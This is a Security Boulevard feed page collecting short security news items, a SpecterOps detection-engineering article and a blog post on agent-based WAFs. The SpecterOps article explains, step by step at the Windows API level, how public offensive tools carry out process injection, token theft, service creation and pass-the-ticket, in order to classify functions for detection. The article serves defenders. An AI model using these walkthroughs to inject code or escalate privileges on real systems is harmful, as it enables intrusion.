Security Boulevard

Ramat Gan, Israel, January 7th, 2025, CyberNewswire — CyTwist, a leader in advanced next-generation threat detection solutions, has launched its patented detection engine to combat the insidious rise of AI-generated malware.

The cybersecurity landscape is evolving as attackers harness … (more…)

The post News alert: CyTwist launches threat detection engine tuned to identify AI-driven malware in minutes first appeared on The Last Watchdog.

The post News alert: CyTwist launches threat detection engine tuned to identify AI-driven malware in minutes appeared first on Security Boulevard.

In the world of cybersecurity, compliance is a no-brainer. Adhering to corporate and regulatory compliance standards is critical for enterprises. And while compliance does not ensure active and constant protection against cybersecurity threats, it's a standard to aim for that can ensure stealthier cybersecurity for enterprises. 

Chris Hughes, CEO of Aquia, said in a recent LinkedIn post that it's a good baseline for enterprises — and the most effective way to get organizations to invest in cybersecurity

The post Compliance as cybersecurity: A reality check on checkbox risk management appeared first on Security Boulevard.

via the respected Software Engineering expertise of Mikkel Noe-Nygaard and the lauded Software Engineering / Enterprise Agile Coaching work of Luxshan Ratnaravi at Comic Agilé!

Permalink

The post Comic Agilé – Mikkel Noe-Nygaard, Luxshan Ratnaravi – #319 – Specialities appeared first on Security Boulevard.

Exabeam today added a bevy of capabilities to its New-Scale Security Operations Platform, including support for open application programming interface (API) and an ability to search data stored in the LogRhythm security information event management (SIEM) platform it acquired last year.

The post Exabeam Extends Scope and Reach of SIEM Platform appeared first on Security Boulevard.

On Detection: Tactical to Functional Seven Ways to View API Functions Introduction

Welcome back to Part 15 of the On Detection: Tactical to Functional blog series. I wrote this article to serve as a resource for those attempting to create tool graphs to describe the capabilities of the attacker tools or malware samples they encounter. Throughout this series, I’ve analyzed many API functions and summarized my analysis through function call stacks. As I expanded the range of functions I’ve analyzed, I noticed that there is not a one-size-fits-all solution when creating function call stacks.

Overall, I’ve found that there are, at least, seven different types of functions:

1. Standard Functions (Syscalls)
2. Sub-operations (NtQueryInformation* or NtSetInformation*)
3. Remote Procedure Calls (NdrClientCall*)
4. Local Security Authority Functions (LsaCallAuthenticationPackage)
5. Driver IOCTLs (DeviceIoControl or NtFsControlFile)
6. Compound Functions (Multiple operations)
7. Local Functions

In this article, I work to categorize functions based on their function type. To do so, I will introduce the category and what makes its functions unique, share a sample whose critical function exemplifies the category, provide the sample’s tool graph and explain how it works, and finally break down the specific function call stack that demonstrates the category in question. Ultimately, you should have the toolset to identify the category to which a given function belongs based on a few heuristics I will share along the journey. This knowledge will empower you to better understand and categorize the attacker tools or malware samples you encounter.

This article is broken down into sections that describe and demonstrate the categories. I subdivide each section further into a “category introduction,” where I will explain the category at a high level; the “sample,” where I will introduce the tool or malware sample that we will analyze to learn about the category; the “tool graph,” where I will explain how the sample implements its functionality; and the “function call stack,” where I will focus on the sample’s critical function which exemplifies the category of focus.

While this article follows several relevant articles that examine individual function types in depth, I consider it more of a preamble to such deep dives. Here, I will introduce two or three new function-type categories I have not previously discussed, but I plan to write a subsequent deep dive on each eventually.

1. Standard Function (syscall)

The first and most common category is the so-called standard functions. These functions are standard because they represent the most common construction and serve as excellent starting points for anyone interested in gaining experience building function call stacks. Standard functions typically involve multiple layers of redirection between DLLs but will inevitably pass the caller-supplied arguments to a system call (syscall) for execution in the kernel. If you’ve followed this series, you will be highly familiar with standard functions and know that we use the syscall as an abstraction layer, which I call an operation. As we progress into other categories, we will see that the operation will remain, but we will derive it differently.

Sample

Our standard function sample comes from DGRonpa’s excellent Process_Injection repository. I enjoy this repo because they have created simple proof-of-concept implementations for the Process Injection technique’s diverse set of procedures. If you are just getting started with implementing the analytical process I present in this series, I recommend you check out this project. It demonstrates how slight implementation changes can have a massive impact on the mutual detectability of malware samples. This article will focus on the Shellcode_Injection.cpp sample, which implements the canonical process injection procedure. For those unfamiliar with process injection, it is primarily a defense evacuation technique used by attackers to inject or migrate their malicious code into an otherwise legitimate process, thus making them less susceptible to detection.

Process_Injection/Classical_Injeciton/Shellcode_Injection.cpp at main · DGRonpa/Process_Injection

Tool Graph Tool Graph: Shellcode_Injection.cpp

We can construct the tool graph by analyzing the source code at the link in the previous section. In doing so, we see that the sample begins by opening a handle to the target process, the process that the attacker intends to inject their code into, by calling the kernel32!OpenProcess function. Next, the code passes the process handle to kernel32!VirtualAllocEx. VirtualAllocEx is a function that allows an application to allocate a buffer in the memory of a different or remote process. The memory buffer will hold the attacker’s shellcode. Next, the sample writes shellcode to the newly allocated buffer via the kernel32!WriteProcessMemory function. Finally, the sample calls kernel32!CreateRemoteThread to execute the shellcode in the target process, thus finalizing the injection routine.

Function Call Stack Function Call Stack: kernel32!CreateRemoteThread

Based on my analysis of this sample, it appears that kernel32!CreateRemoteThread is the sample’s critical function. I attribute this choice to the fact that CreateRemoteThread is the function that causes the injection. When the sample calls CreateRemoteThread, we can say that process injection has occurred. Let’s take a look at the function call stack for kernel32!CreateRemoteThread. It is worth understanding the general flow we expect in standard functions.

By analyzing the function call stack, we find that the final function, before the Operation, is a system call (syscall) named NtCreateThreadEx. Syscalls, like NtCreateThreadEx, are responsible for transitioning execution from user-mode to kernel-mode. This transition serves as a boundary whereby analysts can treat the kernel-side functionality as opaque, as it is not standard for a user-mode application to interact with kernel code except through very specific windows like syscalls.

2. Sub-Operations

Now that we have built the foundation, we can look at functions that offer a slight variation. Like Standard functions, this next function-type category is also based around a syscall but provides a bit more variation that must be accounted for by analysts. I call this group of functions Sub-Operations. These functions are often difficult to discern at the Win32 API layer but become evident at the Native API or Syscall layers due to a unique naming convention where the Native API and Syscall are referred to by Nt(Query/Set)Information* where the * represents a specific object type such as Process, File, etc.

For more detailed information on functions in the sub-operation category, I recommend reading Part 14 of this series.

Sample

To demonstrate the Sub-Operation category, we will investigate a sample that Jonathan Johnson wrote for our Malware Morphology workshop. This sample, called Sample 1, implements a simple version of Token Impersonation, and we will find that its critical function is a Sub-Operation.

MalwareMorphology/Sample 1/src/Source.cpp at main · jaredcatkinson/MalwareMorphology

I encourage you to check out the full workshop to see how attackers can change their approach when facing different constraints or circumstances. The slides and labs are available in the linked GitHub repository, and a video recording of the workshop lecture is available on NorthSec’s YouTube channel.

Tool Graph Tool Graph: Malware Morphology Sample 1

Let’s analyze Sample 1’s source code to build the tool graph. This sample starts by calling kernel32!OpenProcess to open a handle to the target process. In this case, the target process is the process from whom the attacker wants to impersonate. Next, it passes the process handle to advapi32!OpenProcessToken and opens a handle to the target process’s primary token. The primary token represents the user context the attacker is after. While the attacker now has access to their target token, Windows does not allow a process to impersonate the primary token of a different process, so Jonny calls advapi32!DuplicateToken to make a fresh copy of the token. Finally, he passes the duplicated token to advapi32!SetThreadToken to execute the impersonation. Finally, Jonny follows good programming practice by cleaning up the handles he opened by calling kernel32!CloseHandle three times. It is important to note that these calls to CloseHandle are purely optional, so it is plausible that a malicious implementation may exclude them.

Function Call Stack Function Call Stack: advapi32!SetThreadToken

When it comes to Token Impersonation, the moment of impersonation represents the critical point in the function chain. As a result, we can identify advapi32!SetThreadToken as the crucial function in the function chain.

The function call stack, shown below, appears to follow a similar pattern to the Standard Function. However, the implementation diverges when the code reaches kernelbase.dll. In this case, the high-level function, advapi32!SetThreadToken is a wrapper around a more generic low-level function called ntdll!NtSetInformationThread. In Part 14 of this series, I discussed a class of functions called Nt(Set/Query)Information* that facilitate the setting (writing) or querying (reading) of metadata properties for the target object specified by the *, which in this case happens to be a Thread. The caller specifies which specific metadata property to query or set via an information class.” Each object type has a unique set of information classes. You can see in the screenshot below that SetThreadToken specifies information class 5 via the second parameter, which corresponds to ThreadImpersonationToken.

For this category of functions, the information class is critical for properly assigning the operation. If we treated advapi32!SetThreadToken as if it were a Standard Function, we would derive the operation from the syscall, NtSetInformationThread, meaning the operation would be Thread Set. The problem is that the Thread Set operation covers ALL of the Thread’s metadata properties, including properties irrelevant to token impersonation, such as ThreadIoPriority. While it may be interesting to know whether someone changed a thread’s IO priority, that change does not indicate Token Impersonation. All said, there are 41 Thread information classes (metadata properties), and only one is relevant to this particular procedure. Therefore, we require a way to differentiate between Thread Set operations, and the most natural option for doing so is using the information class as an additional indicator. Thus, the resulting operation is Thread Set: ThreadImpersonationToken.

3. Remote Procedure Calls (NdrClientCall4)

Now, we’ve reached the categories I have not yet covered in this series. The first is related to remote procedure call (RPC) procedures. Functions built on RPC Procedures do not result in syscalls, at least not directly. Instead, they implement the client component of the RPC client/server relationship. In the RPC model, the client and server can exist within different processes or even on different systems. Previously, I mentioned that syscalls are responsible for transferring execution from user mode to kernel mode. Similarly, an RPC procedure transfers execution from the client application, the Win32 API function, to the server application. This process is commonly referred to as Interprocess Communication (IPC). Especially in cases where the client and server exist on separate systems, this boundary is at least as robust as the user mode/kernel mode boundary. A key feature of RPC is that the server component generally constrains the set of sub-routines a client can execute on the server. This constraint creates an opportunity to establish our operation abstraction layer.

Sample

For this third class of functions I decided to use a BOF called sc_create that is included in the TrustedSec CS-Remote-OPs-BOF project. Based on the commit history, it appears that it was originally written by Christopher Paschen. The BOF’s name indicates that Christopher reimplemented the functionality of the sc.exe create command. I’ve found that BOFs provide a great starting point for analysts that are trying to get their feet wet in this typeof analysis. Their simplicity can primarily be attributed to the fact that BOF often implement very discrete capabilities which limits the amount of digging that one must do.

CS-Remote-OPs-BOF/src/Remote/sc_create/entry.c at main · trustedsec/CS-Remote-OPs-BOF

Tool Graph Tool Graph: sc_create BOF

Our analysis of the sc_create BOF found that it first opened a handle to the Service Control Manager (SCM) via the advapi32!OpenSCManagerW function. Next, the BOF creates the target service via the advapi32!CreateServiceW function. While the operator can specify specific service details such as its name, binary path, and start type during creation, some other features must be added after the fact. To make these additional changes, the tool calls the advapi32!ChangeServiceConfig2W function. Finally, we see the tool close the handles to the newly created service and the SCM by calling the advapi32!CloseServiceHandle function twice.

Function Call Stack Function Call Stack: advapi32!CreateServiceW

Since the technique in this example is Service Creation, it makes sense to choose advapi32!CreateServiceW as the sample’s critical function for investigation.

CreateServiceW is the first function category that does not make a syscall. Technically, it does EVENTUALLY, but there is an important caveat. You see, advapi32!CreateServiceW is an API function wrapper around an RPC Procedure. In the image below, we see the kernelbase!CreateServiceW function call the rpcrt4!NdrClientCall2 function. NdrClientCall2 is one of a set of functions, represented by NdrClientCall*, that RPC clients can use to make requests. Analysis of the NdrClientCall2’s first and second parameters, which is outside the scope of this article, allows us to identify that kernelbase!CreateServiceW invokes the RCreateServiceW procedure from the Microsoft Service Control Manager Remote Protocol (MS-SCMR).

The Service Control Manager (services.exe) implements its API via RPC, allowing other applications to interact with it. Applications can query, create (as we see here), delete, or modify services through the MS-SCMR RPC interface. Now, we need to understand that the relationship between the calling application and the Service Control Manager is a client/server relationship where clients can make local AND remote requests. The remote aspect is why service creation is a powerful lateral movement technique. Given sufficient permissions, attackers can create malicious services on remote systems. The client/server relationship is essential in our analysis because it acts like a boundary where interaction is constrained to a finite set of RPC procedures like RCreateServiceW. This constraint allows for the application of the operation abstraction layer, which is labeled Service Create in this specific case.

Note: This is not to say that it is not valuable to understand what happens on the server side of the interaction because, in some cases, like this one, an understanding of the server-side component can reveal an alternative procedure to achieve the same outcome (lateral movement via service creation). That said, the ability to implement the server-side implementation, especially remotely, has shown in my analysis to be the exception, not the rule. I will write more about this in a future post.

4. LSA Functions (LsaCallAuthenticationPackage)

Next, we encounter a function type category that took me a while to understand, the LSA Function. Eventually, I discovered that LSA Functions are to RPC Procedures as Sub-Operations are to Standard Functions. That is, LSA Functions rely on a specific RPC Procedure called SspirCallRpc, which the Microsoft Security Support Provider Interface (MS-SSPI) implements. MS-SSPI offers an extensible framework for authentication whereby Microsoft and third-party vendors can extend how users authenticate to the system. As a result, all interactions with “Authentication Packages” flow through the same RPC Procedure. However, the Local Security Authority (LSA) determines how to handle each request based on the specified Authentication Package and AP function. These additional variables indicate that it will not be enough to observe the invocation of SspirCallRpc. Instead, more precise monitoring is necessary, but unfortunately, I am not aware of any vendor that supports this level of monitoring as of this writing.

I highly recommend checking out Evan McBroom’s excellent LSA Whisper project to learn more about the Authentication Packages and LSA.

Sample

This category of functions is the one that inspired me to write this post. I struggled to integrate functions that interact with the Local Security Authority (LSA) into my model for an extended period. When I finally understood how they fit, I realized I had incorrectly conceptualized other categories, like RPC functions. This category is essential when considering modern tradecraft, as shown by my colleagues Will Schroeder in his work on Rubeus and Evan McBroom in his work on LSA Whisperer. Many modern workflows manipulate an agent’s identity context through interactions with LSA, so modern detection approaches must understand these underlying mechanisms. With that in mind, we will look at the inner workings of the pass-the-ticket (ptt) argument in many of Rubeus’ commands.

Rubeus/Rubeus/lib/LSA.cs at master · GhostPack/Rubeus

Tool Graph Tool Graph: Rubeus ptt

At this point, each sample we have investigated supported one use case. Rubeus is a full-featured tool suite that supports many Kerberos-related attacks. The pass-the-ticket feature assumes the operator has a Kerberos ticket and facilitates adding that ticket to the ticket cache of the specified logon session.

The tool graph below shows that Rubeus begins by connecting to the Local Security Authority (LSA) server using the secur32!LsaConnectUntrusted function. This results in an LSA handle that the tool uses in subsequent calls. Next, the application finds the Kerberos authentication package (AP) by calling the secur32!LsaLookupAuthenticationPackage function. Rubeus then calls secur32!LsaCallAuthenticationPackage specifying the Kerberos authentication package’s KerbSubmitTicket function. The KerbSubmitTicket AP function adds the supplied ticket to the specified logon session’s ticket cache. Finally, Rubeus releases the LSA handle by calling secur32!LsaDeregisterLogonProcess.

Function Call Stack Function Call Stack: secur32!LsaCallAuthenticationPackage (Kerberos KerbSubmitTicket)

The secur32!LsaCallAuthenticationPackage function is responsible for “passing-the-ticket” in the sense that it is the function that adds the ticket to the ticket cache. For that reason, let’s dig a bit deeper into it to understand how it works.

When we open secur32!LsaCallAuthenticationPackage in our disassembler, we see that it eventually makes an RPC Procedure call to the SspirCallRpc procedure implemented by the Microsoft Security Support Provider Interface (MS-SSPI). You might immediately think that I’m crazy because we just covered RPC Procedures in the previous section, but it turns out that this particular case is more complicated than that. That’s because there is an additional layer or two of abstraction. The SspirCallRpc procedure acts as a gateway for applications to interact with LSA regardless of the authentication package and function that the caller specifies. Behind the scenes, MS-SSPI (loaded in lsass.exe) handles these calls and passes execution to the appropriate authentication package, such as kerberos.dll. As a result, observing a call to the SspirCallRpc procedure only indicates that some authentication-related operation has occurred. However, it does not provide the necessary level of detail to determine whether the operation is the one you are interested in, such as adding a Kerberos ticket to the ticket cache, in this case via KerbSubmitTicket. Like Sub-Operations, this category requires that we operate at a more granular level if we can hope to use this signal in any meaningful detection strategy.

It is also worth noting that these LSA-related operations function based on the same client/server relationship as RPC but are often constrained to the local machine only. The lsass.exe application runs as a protected process on modern operating systems, so LsaCallAuthenticationPackage or SspirCallRpc, more specifically, acts as an interface for applications to interact with LSA. This constraint allows us, again, to treat the LSA side of this interaction opaquely. I’ve found it helpful to label the resulting operation using the AP function, which in this example is KerbSubmitTicket.

5. Driver IOCTLs

Another important category I have not extensively written about is Driver IOCTLs. These functions rely on making specific Input/Output Control calls to kernel drivers via API functions like kernel32!DeviceIOControl and ntdll!NtfsControlFile. IOCTLs facilitate direct interaction with a kernel driver and represent something between a Syscall and an RPC Procedure. In this case, we treat the transfer of execution from the client application to the kernel driver as the boundary for abstraction.

Sample

To demonstrate Driver IOCTLs in practice, I will use Matt Graeber’s Get-System implementation from the PowerSploit project. Get-System provides two approaches to Token Theft. The first follows the traditional Token Impersonation approach, while the second relies on a trick with named pipes. For this analysis, I will focus on the named pipe approach.

PowerSploit/Privesc/Get-System.ps1 at d943001a7defb5e0d1657085a77a0e78609be58f · PowerShellMafia/PowerSploit

Thanks to Jonathan Johnson for helping to identify a function that embodies this category. He pointed me to one of his blog posts focused on advapi32!ImpersonateNamedPipeClient, which inspired me to find a sample that leverages that function. If you want to understand how I constructed the function call stack, I recommend you read his post.

Exploring Impersonation through the Named Pipe Filesystem Driver

Tool Graph Tool Graph: PowerSploit Get-System

After consulting the source code for our sample, I found that the named pipe impersonation trick is a bit complicated. It starts with a call to advapi32!CreatePipe, which generates a new pipe with a fairly permissive DACL. Next, we interact with the Service Control Manager (SCM) via advapi32!OpenSCManagerW. This call results in a handle to the local SCM. Matt passes the SCM handle to advapi32!CreateServiceW to create a new service that the attack will eventually use to connect to the named pipe. Services can run as the NT AUTHORITY\SYSTEM user, resulting in the “named pipe client” being SYSTEM. We then see a call to advapi32!CloseServiceHandle to close the service handle. Next, Get-System calls advapi32!OpenServiceW to open a new handle to the service. The service handle is passed to advapi32!StartServiceW to execute the service, thus connecting to the named pipe. After the service is executed, the sample is cleaned up via advapi32!DeleteService and two calls to advapi32!CloseServiceHandle. Finally, advapi32!ImpersonateNamedPipeClient is called to steal the SYSTEM account token.

Function Call Stack Function Call Stack: advapi32!ImpersonateNamedPipeClient

As mentioned earlier, I selected this sample to highlight the advapi32!ImpersonateNamedPipeClient function.

Like many other functions, ImpersonateNamedPipeClient flows to kernelbase.dll, where it makes a call to a Native API function called ntdll!NtFsControlFile. The Microsoft documentation for the NtFsControlFile function states that “[it] sends a control code directly to a specified file system or file system filter driver, causing the corresponding driver to perform the specified action.” We can see from the arguments passed to NtFsControlFile that the handle is to the specified named pipe, which, in the case of Matt’s Get-System implementation, is the dummy named pipe created via the CreatePipe function call. We also see that kernelbase!ImpersonateNamePipeClient hardcodes the sixth parameter, representing the FsControlCode, to 0x11001C.

Implementation of kernelbase!ImpersonateNamedPipeClient

The FsControlCode tells the driver which sub-routine to execute. In his blog post analyzing the function, Jonny explains that this control code is known as FSCTL_PIPE_IMPERSONATE and that the components of the control code indicate that this is function number 7 for named pipes (FILE_DEVICE_NAMED_PIPE). We can, therefore, use the control code as the abstraction layer for our operation, which we will call Pipe Impersonate.

6. Compound Functions

A special category is the Compound Function. A Compound Function is a function that, at the Win32 API level, appears as a single function but, lower in the function call stack, breaks down into many more specific functions and, thus, operations. We typically find that Compound Functions implement logic to execute an everyday routine that would normally require multiple individual function calls. A great example of a compound function is dbghelp!MiniDumpWriteDump, which creates process crash dumps. It is built on top of kernel32!ReadProcessMemory. However, a crash dump requires numerous specific memory reads to occur. MiniDumpWriteDump implements this logic, so the application developer is not required to understand the details of the crash dump or process memory structures.

Sample

We will look at Justin Bui’s Primary Token Theft sample for this category. Justin wrote this program to evaluate which processes would be the best targets for System Token Theft. It is a relatively simple program, but it allows us to see a third implementation of Token Impersonation. I challenge you to analyze this sample’s operation chain and compare it to the sample we used to dig into Sub-Operations.

PrimaryTokenTheft/main.cpp at master · slyd0g/PrimaryTokenTheft

Tool Graph Tool Graph: PrimaryTokenTheft

The tool graph for the PrimaryTokenTheft sample is relatively straightforward compared to some of our other examples. In all, we see that there were three function calls kernel32!OpenProcess, advapi32!OpenProcessToken, and advapi32!ImpersonateLoggedOnUser. The first function, kernel32!OpenProcess is used to open a handle to the target process. This process typically runs in the context of a user with desirable access, such as the NT AUTHORITY/SYSTEM account or a Domain Administrator account. The resulting handle is then passed to advapi32!OpenProcessToken, which opens a handle to the desired access token. Finally, Justin passes the token handle to advapi32!ImpersonateLoggedOnUser, where all the magic happens.

Function Call Stack Function Call Stack: advapi32!ImpersonateLoggedOnUser

Digging into the advapi32!ImpersonateLoggedOnUser function’s call stack, everything progresses normally, like a standard function, until we reach kernelbase.dll. As shown in the image below, we see calls to ntdll!NtQueryInformationToken, ntdll!NtDuplicateToken, ntdll!NtSetInformationThread, and ntdll!NtClose.

Implementation of kernelbase!ImpersonateLoggedOnUser

As a result, the function call stack splits at kernelbase!ImpersonateLoggedOnUser. The end effect is that rather than a one-to-one relationship between the function and the operation, we find that advapi32!ImpersonateLoggedOnUser has a one-to-four relationship, which has massive implications for our detection engineering efforts. Each underlying function will fit within one of the categories covered in this article. For example, NtQueryInformationThread and NtSetInformationThread belong to the Sub-Operation category, while NtDuplicateToken and NtClose belong to the Standard Function category.

You will notice that the resulting operation chain for this particular sample is not much different from that of the sample used in the Sub-Operation section. This similarity means that these two samples are likely to be mutually detectable, or, put another way, they can both be detected using the same analytic.

7. Local Functions (memcpy or GetCurrentProcess)

The final category is probably the least important from the detection engineering perspective. However, understanding how to spot functions from this set will empower you to separate the wheat from the chaff. Local Functions is the name I’ve given to the functions that never cross a relevant boundary. They often, if not always, are resolved within the initial implementation DLL and perform local tasks. You will find that as you begin to analyze complicated functions, you will encounter many local functions, so you must understand how to spot these functions so you can be sure that you can safely ignore them.

Sample

In this example, we will rely on the Get-ProcessTokenPrivilege PowerShell function from Will Schroeder’s PowerUp module. This function is a helper function that implements something similar to whoami /priv.

PowerSploit/Privesc/PowerUp.ps1 at master · PowerShellMafia/PowerSploit

Tool Graph Tool Graph: Get-ProcessTokenPrivilege

The tool graph shows that this PowerShell function is meant to check which privileges are enabled for the current user context. We see kernel32!GetCurrentProcess emits a handle to the calling process. That handle is then passed to advapi32!OpenProcessToken, which returns a handle to the calling process’s primary token. Finally, the advapi32!GetTokenInformation function is called to return a list of the token’s enabled privileges.

Note: Can you identify which categories advapi32!OpenProcessToken and advapi32!GetTokenInformation fit into?

Function Call Stack Function Call Stack: kernel32!GetCurrentProcess

In this sample, the kernel32!GetCurrentProcess function represents the Local Function category. After opening kernel32.dll in IDA, we can browse to the implementation of the GetCurrentProcess function. We see that this function does not do much. It returns -1, which functions as a pseudo-handle for the calling process.

Implementation of kernel32!GetCurrentProcess

As a result, the function call stack is essentially non-existent, as shown below. Since kernel32!GetCurrentProcess does not cross a client/server boundary like that of user-mode/kernel-mode, RPC client/server, or LSA client/auth package it does not have a corresponding operation.

Conclusion

For as long as I can remember, we have used API functions to describe a particular malware sample’s functionality. These function chains have proven helpful to Detection Engineers as they provide a blueprint for observation. However, not all functions are created equally. In our analysis, we’ve identified seven function categories, each requiring a different analytical approach. I hope the descriptions in this article help you determine which type of function you have encountered so you can ensure you are collecting data with an adequate level of granularity.

Part 15: Function Type Categories was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Part 15: Function Type Categories appeared first on Security Boulevard.

Agents, Robotics, and Auth - Oh My! Introduction

2025 will be the year of the futurist. I never thought that I'd be writing a blog post about AI and robotics at this point in my career, but technology has advanced so much in the lat 12 months setting up 2025 to be a landmark year in terms of the tech industry. Self driving cars, robots, AGI - these are all things that have a realistic chance of shipping this year which is super exciting for me as a futurist. That said, Advances in artificial intelligence (AI) agent technology, robotics, and APIs are transforming the way we live and work, but they also present new challenges for web application and API security. Traditional Web Application Firewalls (WAFs) are going to struggle to keep pace with these changes, leading to the rise of API Native WAFs and WAF Agents as superior solutions. This article will explore the new threats to WAFs in 2025.

New Threats to WAFs in 2025

The increasing sophistication of AI agent technology, robotics, and APIs has given rise to a new generation of cyber threats. These threats are more complex, adaptive, and difficult to detect than ever before. The following table summarizes some of the key threats facing WAFs in 2025:

‍

‍

AI-Powered Attacks

There is a distinction between AI-powered and AI-assisted threats. AI-powered attacks, like deepfake video scams, have been limited to date. AI-assisted threats are more common, where AI helps threat actors create variants of existing malware or better phishing email lures7. However, by 2025, malicious use of multimodal AI will be used to craft an entire attack chain. As multi-modal AI systems gain the ability to integrate text, images, voice, and sophisticated coding, threat actors will leverage them to streamline and automate the entire pipeline of a cyberattack7.

‍

One example of an AI-powered attack is the use of deepfakes to scam individuals. In one instance, scammers impersonated a company's chief financial officer during a video conference call and convinced a finance worker to pay them $25 million2. AI can also be used to automate social engineering attacks by engaging with targets on social media, building trust, and gathering information to personalize attacks8.

‍

While large language models (LLMs) like GPT-3/-4 have enabled astonishing breakthroughs in generative AI, they also present security challenges. One challenge is adapting LLMs to specific needs. Developers often use extensive manual adjustments to prompts to adapt an LLM to their requirements, which can lead to deep model dependence for AI applications. Other methods used include fine-tuning results using human feedback loops and improving relevance and accuracy through run-time queries to authoritative external datasets (i.e., Retrieval-Augmented Generation, or RAG)9.

Growing API Vulnerabilities

APIs are a primary target for attackers in the age of agentic AI10. Agentic AI systems are capable of perceiving, reasoning, acting, and learning, and APIs are the backbone of these systems10. Attackers are escalating their use of AI-driven bots, supply chain breaches, and multi-vector campaigns to exploit API vulnerabilities10. Smarter, stealthier bots will exploit APIs for credential stuffing, data scraping, and automated account takeovers10.

The increasing volume of APIs and threats has made API discovery a critical focus for organizations in 202511. According to a recent industry report, 57% of organizations suffered an API-related data breach in the past two years, with 73% of those experiencing three or more incidents12. API-related security issues now cost organizations up to $87 billion annually11. Furthermore, 65% of organizations believe that generative AI applications pose a serious risk to APIs13.

Some specific examples of API breaches that occurred in 2024 include:

• A buggy API at a messaging company led to unauthorized access to 650,000 sensitive messages, exposing passwords and allowing penetration testers to retrieve confidential data14.
• An exposed Trello API compromised the data of over 15 million users by linking private email addresses to Trello accounts14.
• An API vulnerability in the social media platform Spoutible exposed user data, including bcrypt hashes of passwords14.

Emergence of Robotic Systems

As robots become more interconnected, they are increasingly vulnerable to various cyber threats, including Denial of Service (DoS) attacks, spoofing, and man-in-the-middle attacks5. These attacks can disrupt operations, steal sensitive data, and cause significant financial losses to businesses5.

Humanoid robots, which rely heavily on AI algorithms, are particularly vulnerable to adversarial attacks. In these attacks, malicious actors feed manipulated or misleading data into the AI system to exploit its decision-making process15. For example, in a factory setting, adversarial input could cause a robot to malfunction, leading to poor or dangerous decision-making15.

Another significant risk is supply chain attacks. Robots often rely on components and software sourced from third-party vendors, and if any of these components are compromised, they could serve as a backdoor for cybercriminals15.  Integrating cybersecurity measures into existing robotic systems can be complex and challenging5. 

Robotic systems begin to bridge the gap between the digital world and the physical world, raising the stakes for security professionals.  While publicly disclosed incidents specifically targeting robotic systems are relatively rare (likely due to underreporting) , there have been some notable security incidents and research findings highlighting the vulnerabilities of these systems:   

• Remote takeover of a Jeep Cherokee: Researchers demonstrated how they could remotely take control of a Jeep Cherokee by exploiting vulnerabilities in the vehicle's Uconnect infotainment system . This incident highlighted the potential for attackers to manipulate critical vehicle functions, posing significant safety risks.   
• Vulnerabilities in industrial and home robots: In 2017, IOActive discovered over 50 security vulnerabilities in six different robots, including popular models like NAO and Pepper, as well as industrial robots from Universal Robots and Rethink Robotics . These vulnerabilities could allow attackers to manipulate robot movements, disable safety features, and even gain access to sensitive data.   
• Healthcare robot vulnerabilities: In 2022, Cynerio researchers found five vulnerabilities in Aethon TUG autonomous robots used in hospitals across the United States . These vulnerabilities could allow attackers to disrupt hospital operations, steal sensitive patient data, or even manipulate robot behavior, potentially endangering patients.  

These incidents demonstrate the growing need for robust cybersecurity measures in robotic systems. As robots become more prevalent and interconnected, organizations must prioritize security to prevent potential harm, data breaches, and operational disruptions.   

Why Traditional WAFs Struggle

Traditional WAFs, while still valuable for basic protection, face several challenges in addressing the evolving threat landscape:

• Reliance on Static Rules: Traditional WAFs rely on predefined rules and signatures to detect and block attacks. This approach is ineffective against new or sophisticated attacks that do not match known patterns17. They often need help with real-time detection and response to complex, adaptive bots18.
• Limited Visibility: Traditional WAFs often have limited visibility into application logic, user workflows, and data structures. This makes it difficult to detect attacks that exploit vulnerabilities in these areas19.
• Inability to Adapt: Traditional WAFs are not designed to adapt to the dynamic nature of cyber threats. They often require manual updates to address new vulnerabilities and attack techniques20.
• Challenges with API Security: Traditional WAFs often struggle to secure APIs due to the complex authorization mechanisms, protocol variations, and payload structures used by APIs21. They are not effective at protecting against API attacks like those in the OWASP API Top 1022. 
• Cloud Environment Challenges: Applying WAFs in cloud environments presents specific challenges, such as complex deployment scenarios in Kubernetes and poor management efficiency with multiple clouds24.

Today, only 19% of organizations rate their traditional security solutions as highly effective in protecting APIs12. Despite 85% of IT leaders expressing confidence in their organization's security capabilities, 55% have experienced an API security incident in the past year27. This highlights the need for more advanced solutions to address the evolving threat landscape.

The Rise of WAF Agents

Agent-based WAFs represent a new approach to web application and API security28. These WAFs use AI agents to monitor and analyze traffic, detect anomalies, and mitigate threats in real-time. Here's why agent-based WAFs are superior solutions:

• Adaptive Learning: Agent-based WAFs use machine learning to continuously learn and adapt to new threats. This allows them to detect and block attacks that traditional WAFs would miss29.
• Behavioral Analysis: Agent-based WAFs can analyze user behavior and identify anomalies that may indicate malicious activity. This helps to detect attacks that are not based on known signatures or patterns30.
• Contextual Awareness: Agent-based WAFs have a deeper understanding of application logic, user workflows, and data structures. This allows them to detect attacks that exploit vulnerabilities in these areas29.
• Real-time Threat Intelligence: Agent-based WAFs can integrate with threat intelligence feeds to stay updated on the latest threats and vulnerabilities. This helps to proactively block attacks before they can cause damage17.
• Automated Response: Agent-based WAFs can automate incident response processes, reducing the time it takes to respond to threats. This helps to minimize the impact of attacks17.
• Human-in-the-Loop Oversight: Implementing "human-in-the-loop" oversight enables agents to work autonomously while human experts review decisions after they've been made32. This provides a layer of human control and accountability, mitigating the risks of unintended consequences.

Web Application and API Protection (WAAP) is an important concept in this context. WAAP refers to cloud-based services created to safeguard vulnerable APIs and web applications33. Cloud WAAP services provide various security modules, including bot mitigation, WAF, API protection, and protection against DDoS attacks33.

Proactive security measures, such as those employed by agent-based WAFs, can significantly reduce the number of alerts and allow security teams to focus on real threats23.

Conclusion

As AI agent technology, robotics, and APIs continue to advance, the threat landscape will become increasingly complex. Traditional WAFs will struggle to keep pace with these changes, making agent-based WAFs a necessity for organizations looking to protect their web applications and APIs. By leveraging the power of AI, agent-based WAFs offer a more adaptive, intelligent, and effective approach to security, ensuring that organizations can stay ahead of the curve in the ever-evolving cyber battlefield.

References

1. Emerging Threats to Critical Infrastructure: AI Driven Cybersecurity Trends for 2025, accessed January 6, 2025, https://www.captechu.edu/blog/ai-driven-cybersecurity-trends-2025

2. AI could empower and proliferate social engineering cyberattacks | World Economic Forum, accessed January 6, 2025, https://www.weforum.org/stories/2024/10/ai-agents-in-cybersecurity-the-augmented-risks-we-all-need-to-know-about/

3. Breaking Down the OWASP Top 10 API Security Risks 2023 (& What Changed From 2019), accessed January 6, 2025, https://www.veracode.com/blog/research/breaking-down-owasp-top-10-api-security-risks-2023-what-changed-2019

